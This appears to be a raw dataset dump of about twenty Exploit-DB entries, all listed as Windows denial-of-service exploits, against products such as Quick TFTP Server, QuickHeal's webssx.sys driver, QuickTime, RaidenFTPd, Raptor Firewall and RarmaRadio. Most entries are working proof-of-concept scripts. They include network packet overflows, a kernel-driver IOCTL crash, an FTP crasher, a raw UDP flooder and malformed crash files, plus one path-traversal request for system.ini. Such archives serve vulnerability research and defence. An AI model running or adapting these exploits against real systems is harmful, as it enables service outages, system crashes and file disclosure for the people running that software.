deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26010
Description: Quick TFTP Server Pro 2.2 - Denial of Service
Type: dos
Platform: windows
Date: 2013-06-07
Author: npn

Exploit:
#!/usr/bin/python
 
#Exploit Title: Quick TFTP Server 2.2 DoS
#Date: 6th June 2013
#Exploit Author: npn
#Exploit Author Homepage: http://www.iodigitalsec.com/
#Exploit Author Write Up: http://www.iodigitalsec.com/blog/fuzz-to-denial-of-service-quick-tftp-server-2-2/
#Vendor Homepage: http://www.tallsoft.com/tftpserver.htm
#Software Link: http://www.tallsoft.com/tftpserver_setup.exe
#Version: 2.2
#Tested on: Windows XP SP3 English

from socket import *
import sys
import select

pwn = "\x00\x02"
pwn += "\x66\x69\x6c\x65\x2e\x74\x78\x74\x00"
pwn += "A"*1200
pwn += "\x00"

address = ('192.168.200.20', 69)
server_socket = socket(AF_INET, SOCK_DGRAM)

server_socket.sendto(pwn, address)
Exploit-DB #39516
Description: Quick Tftp Server Pro 2.3 - Read Mode Denial of Service
Type: dos
Platform: windows
Date: 2016-03-02
Author: Guillaume Kaddouch

Exploit:
# Exploit Title: Quick Tftp Server Pro 2.3 TFTP mode Remote Overflow (DoS)
# Date: 21/01/2016
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.tallsoft.com/tftpserver.htm
# Software Link: http://www.tallsoft.com/tftpserver_setup.exe
# Version: 2.3
# Tested on: Windows 7 Family x64 (FR)
# Category: DoS

"""
Disclosure Timeline:
--------------------
2016-01-21: Vulnerability discovered
2016-01-24: Vendor contacted
2016-01-29: Vendor contacted again (no answer)
2016-03-01: Vulnerability published 
 
Description :
-------------
A remote overflow exists in Quick Tftp Server Pro 2.3 in the TFTP mode when sending a TFTP Read Request. This allows to remotely crash
the application, thus causing a Denial of Service.

 
Instructions:
-------------
- Starts Quick Tftp Server Pro 2.3
- Run this exploit locally or from your remote attacking machine
"""

import socket

host    = "192.168.135.132"
port    = 69

request = "\x00\x01"    # TFTP Read Request (RRQ)
file    = "file.txt"
mode    = '\x41' * 1024 # Overflow

buffer  = request + file + "\x00" + mode + "\x00"

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer))
        s.sendto(buffer, (host, port))
        s.close()
        print "[*] Done."
except:
        print "[-] Error connecting"
Exploit-DB #39475
Description: QuickHeal 16.00 - 'webssx.sys' Driver Denial of Service
Type: dos
Platform: windows
Date: 2016-02-19
Author: Fitzl Csaba

Exploit:
# Exploit Title: QuickHeal webssx.sys driver DOS vulnerability
# Date: 19/02/2016
# Exploit Author: Csaba Fitzl
# Vendor Homepage: http://www.quickheal.co.in/
# Version: 16.00
# Tested on: Win7x86, Win7x64
# CVE : CVE-2015-8285

from ctypes import *
from ctypes.wintypes import *
import sys

kernel32 = windll.kernel32
ntdll = windll.ntdll

#GLOBAL VARIABLES

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0

def alloc_in(base,evil_size):
	""" Allocate input buffer """
	print "[*] Allocating input buffer"
	baseadd   = c_int(base)
	size = c_int(evil_size)
	evil_input = "\x41" * 0x10
	evil_input += "\x42\x01\x42\x42" #to trigger memcpy
	evil_input += "\x42" * (0x130-0x14)
	evil_input += "\xc0\xff\xff\xff" #this will cause memcpy to fail, and trigger BSOD
	evil_input += "\x43" * (evil_size-len(evil_input))
	ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
											  POINTER(c_int), c_int, c_int]
	dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, 
											 byref(size), 
											 MEM_RESERVE|MEM_COMMIT,
											 PAGE_EXECUTE_READWRITE)
	if dwStatus != STATUS_SUCCESS:
		print "[-] Error while allocating memory: %s" % hex(dwStatus+0xffffffff)
		sys.exit()
	written = c_ulong()
	alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))
	if alloc == 0:
		print "[-] Error while writing our input buffer memory: %s" %\
			alloc
		sys.exit()

if __name__ == '__main__':
	print "[*] webssx BSOD"
	
	GENERIC_READ  = 0x80000000
	GENERIC_WRITE = 0x40000000
	OPEN_EXISTING = 0x3
	IOCTL_VULN	= 0x830020FC
	DEVICE_NAME   = "\\\\.\\webssx\some" #add "some" to bypass ACL restriction, (FILE_DEVICE_SECURE_OPEN is not applied to the driver)
	dwReturn	  = c_ulong()
	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

	inputbuffer	   = 0x41414141 #memory address of the input buffer
	inputbuffer_size  = 0x1000
	outputbuffer_size = 0x0
	outputbuffer	  = 0x20000000 
	alloc_in(inputbuffer,inputbuffer_size)
	IoStatusBlock = c_ulong()
	if driver_handle:
		print "[*] Talking to the driver sending vulnerable IOCTL..."
		dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
									   None,
									   None,
									   None,
									   byref(IoStatusBlock),
									   IOCTL_VULN,
									   inputbuffer,
									   inputbuffer_size,
									   outputbuffer,
									   outputbuffer_size
									   )
Exploit-DB #24708
Description: Quicksilver Master of Orion III 1.2.5 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2004-10-27
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11550/info

Master of Orion III is reported prone to multiple remote denial of service vulnerabilities. These issues occur because the application does not handle exceptional conditions in a proper manner.

Master of Orion III 1.2.5 and prior versions are reportedly affected by these issues.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24708.tar
Exploit-DB #5110
Description: QuickTime 7.4.1 - 'QTPlugin.ocx' Multiple Stack Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2008-02-13
Author: laurent gaffiÃ©

Exploit:
Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Web Site: http://www.apple.com/fr/quicktime/download/

Platform: Windows

Bug: Multiple Remote Stack Overflow

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========

1) Introduction

===========

A nice introduction to Quicktime Player can be found here : http://www.apple.com/quicktime/player/

======

2) Bug

======

Stack Overflow/Denial of service occurs when supplying a long string to theses functions:

-SetBgColor
-SetHREF
-SetMovieName
-SetTarget
-SetMatrix

=====

3)Proof of concept

=====

Proof of concept example [works with the others functions supplyed in section 2) ] :
<html>
<object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo' ></object>
<input type="button" value="Hit me" language="VBScript" OnClick="test()">
<script language="VBScript">
sub test()
bar = String(515305, "A")
foo.SetBgColor bar
End Sub
</script>
</html>

=====

5)Credits

=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-02-13]
Exploit-DB #4885
Description: QuickTime Player 7.3.1.70 - 'RTSP' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-01-10
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Quicktime Player
              http://www.apple.com/quicktime
Versions:     <= 7.3.1.70
Platforms:    Windows and Mac
Bug:          buffer-overflow
Exploitation: remote
Date:         10 Jan 2008
Thanx to:     swirl for the help during the re-testing of the bug
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Quicktime is a well known media player developed by Apple.


#######################################################################

======
2) Bug
======


The problem is a buffer-overflow which happens during the filling of
the LCD-like screen containing info about the status of the connection.

For exploiting this vulnerability is only needed that an user follows
a rtsp:// link, if the port 554 of the server is closed Quicktime will
automatically change the transport and will try the HTTP protocol on
port 80, the 404 error message of the server (other error numbers are
valid too) will be visualized in the LCD-like screen.

During my tests I have been able to fully overwrite the return address
anyway note that the visible effects of the vulnerability could change
during the usage of the debugger (in attaching mode it's everything
ok).


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/quicktimebof.txt

quicktimebof.txt
HTTP/1.1 404 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxy

  nc -l -p 80 -v -v -n < quicktimebof.txt

and then

  QuickTimePlayer.exe rtsp://127.0.0.1/file.mp3


#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-01-10]
Exploit-DB #15393
Description: Quickzip 5.1.8.1 - Denial of Service
Type: dos
Platform: windows
Date: 2010-11-02
Author: moigai

Exploit:
# Exploit Title: Quickzip 5.1.8.1 Denial of Service Vulnerability
# Date: 2010/11/02
# Author: moigai
# e-mail: again.liu@gmail.com
# Version: 5.1.8.1
# Tested on: Windows XP SP3 En (VM)
# Greetz to: Yoji

my $file = "boom.zip";

my $localHeader = 
"\x50\x4b\x03\x04" . #Local file header signature
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";  

my $centralDirHeader = 
"\x50\x4b\x01\x02" . #central dir header signature
"\x14\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 
"\x07\x00" . #file name length
"\x00\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x00\x00" .
"\x00\x00";  

# The program crashes when the file name is shorter than the length specified above.
# In the case of length specified equals 0x7, the program crash when the actual length is smaller than 0x4
my $filename = "yyy";

my $endCentralDirHeader = 
"\x50\x4b\x05\x06" . #end central dir header signature
"\x00\x00\x00\x00\x01\x00\x01\x00\x35\x00\x00\x00\x1e\x00" .
"\x00\x00\x00\x00"; 

my $zip = $localHeader . $centralDirHeader . $filename . $endCentralDirHeader;
print "\n[+] Creating zip file\n";
open(FILE, ">$file");
print FILE $zip;
close(FILE);
print "[+] File " . $file . " created\n";
Exploit-DB #34428
Description: Quintessential Media Player 5.0.121 - '.m3u' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-08-09
Author: Abhishek Lyall

Exploit:
source: https://www.securityfocus.com/bid/42307/info

Quintessential Media Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Quintessential Media Player 5.0.121 is vulnerable; other versions may also be affected.

#Quintessential Player 5.0.121 .m3u Crash POC
#vulnerble application link http://www.quinnware.com/downloads.php
#tested on XP SP2/3
#author abhishek lyall - abhilyall[at]gmail[dot]com
#web::: http://aslitsecurity.com  Blog::: http://aslitsecurity.blogspot.com
#!/usr/bin/python

filename = "Quintessential.m3u"


junk = "\x41" * 5000

textfile = open(filename , 'w')
textfile.write(junk)
textfile.close()
Exploit-DB #9345
Description: RadASM 2.2.1.5 - '.mnu' Local Format String (PoC)
Type: dos
Platform: windows
Date: 2009-08-03
Author: SkuLL-HackeR

Exploit:
# RadASM 2.2.1.5 (.mnu File) Format string Poc
# By SkuLL-HacKeR
# GreetZ : hack4love - Aser ro7 - ThE g0bL!N - Qabandi
# EAX 00002E2E
# ECX 41413D92 ECX overwrited
# EDX 00000002
# EBX 00000000
# ESP 0013F894
# EBP 0013F9AC ASCII "..................................................................."
# ESI 00187658 ASCII "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
# EDI 0013FFFE
# EIP 0040171A TbrCreat.0040171A
# directory app
# C:\Documents and Settings\Administrateur\Bureau\aRadASM\AddIns\TbrCreate.exe
# i think is hard to exploit maybe anyone can exploit it :d
my $unicode="%n" x 161;
my $file="xpl.mnu";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $unicode ;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-08-03]
Exploit-DB #9361
Description: RadASM 2.2.1.6 Menu Editor - '.mnu' Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-04
Author: Pankaj Kohli

Exploit:
# RadASM 2.2.1.6 Menu Editor (.mnu) file stack overlow PoC
# Coded by Pankaj Kohli
# http://www.pank4j.com
 
$str="A"x146;
$file="sploit.mnu";
open(my $FILE, ">>$file") or die "Error opening file.n";
print $FILE $str ;
close($FILE);
print "$file has been created.n";

# milw0rm.com [2009-08-04]
Exploit-DB #6742
Description: RaidenFTPd 2.4 build 3620 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-10-13
Author: dmnt

Exploit:
# RaidenFTPD V2.4 build 3620 exploit
# probaly heap overflow
#
# (x)dmnt 2008
# -*- coding: windows-1252 -*-

import socket
import sys, time

evil_cwd = "/"+"\x22"*255
evil_dir = "X"*505

def help_info():
    print ("Usage: ShaoKahn <host> <login> <password>\n")
    print ("Note: anonymous is enought")

def dos_it(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(2048)
    print "[+] Connected"
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    time.sleep(3)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    time.sleep(3)
    sock.send("cwd %s\r\n" %evil_cwd)
    r=sock.recv(1024)
    time.sleep(3)
    sock.send("mlst %s\r\n" %evil_dir)
    r=sock.recv(1024)
    time.sleep(3)
    sock.close()
    print "[:)] Now server d0s'ed/heap corrupted"

print ("\n]RaidenFTPD V2.4 build 3620 remote DoS exploit")
print ("](x)dmnt 2008\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    dos_it(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2008-10-13]
Exploit-DB #25083
Description: RaidenHTTPD 1.1.27 - Remote File Disclosure
Type: dos
Platform: windows
Date: 2005-02-05
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/12451/info

RaidenHTTPD is reported prone to a remote file disclosure vulnerability. It is reported that the service does not correctly handle requests for restricted files that reside outside of the web document root folder.

A remote attacker may exploit this issue to disclose the contents of web server readable files.

GET windows/system.ini HTTP/1.1
Host: localhost
Exploit-DB #21143
Description: Raptor Firewall 4.0/5.0/6.0.x - Zero Length UDP Packet Resource Consumption
Type: dos
Platform: windows
Date: 2001-06-21
Author: Max Moser

Exploit:
source: https://www.securityfocus.com/bid/3509/info

Raptor Firewall is a commercially available firewall implementation distributed by Symantec.

A problem with the handling of UDP packets by the firewall has been discovered. When the firewall receives zero length UDP packets, the machine hosting the firewall becomes processor bound, with the firewall taking 100% of the CPU.

This makes it possible for a remote user to crash the firewall, denying service to legitimate users of network resources. A reboot is required for the system to resume normal operation. 

#!/usr/bin/perl 
###################################
# This Code is for education only #
###################################
# Greetings to kitchen from #perl on irc openproject.net
# For the help on some perl questions.
# Firewalls are hard on the outside and crunchy on the inside
#
# The Rapor Firewall UDP-GSP (UDP-Proxy) gets 100% CPU load
# When getting UDP-Packets with no Data init
#
# Written 21.Jun 2001 by Max Moser mmo@remote-exploit.org 
#
# http://www.remote-exploit.org
# 

use Net::RawIP;
use Getopt::Long;

GetOptions('src=s','dst=s','num=i');

if (!$opt_src | !$opt_dst | !$opt_num ){
	print "\nUsage parameters for ".$0.":\n";
	print "\t--src\t IP-Sourceaddress\n";
	print "\t--dst\t IP-Destinationaddress\n";
	print "\t--num\t Numer of UDP packets to send\n";
	print "\nExample:\n";
	print "\t".$0." --src=192.168.0.1 --dst=192.168.0.354 --num=1000\n\n\n";
	exit(1);
};

# Some defines
$| = 1;
@anim= ("\\","|","/","-","\\","|","/","-");
$source=$opt_src;
$destination=$opt_dst;
$numpack=$opt_num;

print "\n\n\tSending packets now  ";
for($x=0;$x<$numpack;$x=$x+1){
	my $sport=(rand(65534)+1);
	my $dport=(rand(1024)+1);
	my $c=new Net::RawIP({udp=>{source=>$sport,dest=>$dport}});
        $c->set({ip=>{saddr=>$source,daddr=>$destination},{udp}});
        $c->send;
        undef $c;
	for ($y=0;$y<8;$y=$y+1){
		print "\b" . $anim[$y];
		select (undef,undef,undef,0.01);
		if ($y==8){ $y=0};  	
	};
};

print "\n\n\nSuccessfully sent ".$numpack." packets to ". $destination . "\n\n";
Exploit-DB #47285
Description: RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service
Type: dos
Platform: windows
Date: 2019-08-19
Author: Achilles

Exploit:
# Exploit Title: RAR Password Recovery v1.80 Denial of Service Exploit
# Date: 16.08.2019
# Vendor Homepage:https://www.top-password.com/
# Software Link:  https://www.top-password.com/download/RARPRSetup.exe
# Exploit Author: Achilles
# Tested Version: v1.80
# Tested on: Windows 7 x64
#            Windows XP SP3


# 1.- Run python code :RAR Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open RAR Password Recovery and Click 'Register'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 5.- Click 'OK' and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #15305
Description: RarmaRadio 2.53.1 - '.m3u' Denial of Service
Type: dos
Platform: windows
Date: 2010-10-23
Author: anT!-Tr0J4n

Exploit:
#Title: RarmaRadio (.m3u) Denial of service vulnerability
#Author    :   anT!-Tr0J4n
#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~all DEV-PoinT t34m
#thanks    :   r0073r ; Sid3^effects ; L0rd CrusAd3r ; all Inj3ct0r 31337 Member
#Home     :   www.Dev-PoinT.com  $ http://inj3ct0r.com
#Software :  http://www.raimersoft.com/rarmaradio.aspx
#Version   :  2.52 Bass 2.4
#Tested on:   Windows XP sp3

------------------------------

Fuck LAMERZ : X-SHADOW ; ThBa7 ; KloofQ8 ; LeGEnD ; abada -- > fuck you kids

------------------------------


#!/usr/bin/perl
print "| Author: anT!-Tr0J4n      |\n";
print "| Greetz :http://inj3ct0r.com     |\n";
print "|Home : www.Dev-PoinT.com  |\n";

my $file = "crash.m3u";
my $junk = "\x41" x 2157;
open($FILE,">$file");
print $FILE $junk;
print "\ncrash.m3u file created successfully\n1.) Open it with RarmaRadio\n2.) Application failure...\n";
close($FILE);
Exploit-DB #46899
Description: RarmaRadio 2.72.3 - 'Server' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-22
Author: Victor Mondragón

Exploit:
#Exploit Title: RarmaRadio 2.72.3 - 'Server' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/rarmaradio_setup.exe
#Tested Version: 2.72.3
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: rarmaradio_server.py
#2.- Open rarma_ser.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Server" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

cod = "\x41" * 4000

f = open('rarma_ser.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46900
Description: RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-22
Author: Victor Mondragón

Exploit:
#Exploit Title: RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/rarmaradio_setup.exe
#Tested Version: 2.72.3
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: rarmaradio_username.py
#2.- Open rarma_user.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

cod = "\x41" * 5000

f = open('rarma_user.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #48015
Description: RarmaRadio 2.72.4 - 'server' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-02-06
Author: chuyreds

Exploit:
# Exploit Title: RarmaRadio 2.72.4 - 'server' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 05-02-2020
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
# Software Link : http://www.raimersoft.com/downloads/rarmaradio_setup.exe
# Tested Version: 2.72.4
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: RarmaRadio2.72.4_server.py
#2.- Open RarmaRadio2.72.4_server.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Server" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

buffer = "\x41" * 4000
f = open ("RarmaRadio2.72.4_server.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #48014
Description: RarmaRadio 2.72.4 - 'username' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-02-06
Author: chuyreds

Exploit:
# Exploit Title: RarmaRadio 2.72.4 - 'username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
# Software Link : http://www.raimersoft.com/downloads/rarmaradio_setup.exe
# Tested Version: 2.72.4
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: rarmaradio_username.py
#2.- Open RarmaRadio2.72.4_username.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
buffer = "\x41" * 5000
f = open ("RarmaRadio2.72.4_username.txt", "w")
f.write(buffer)
f.close()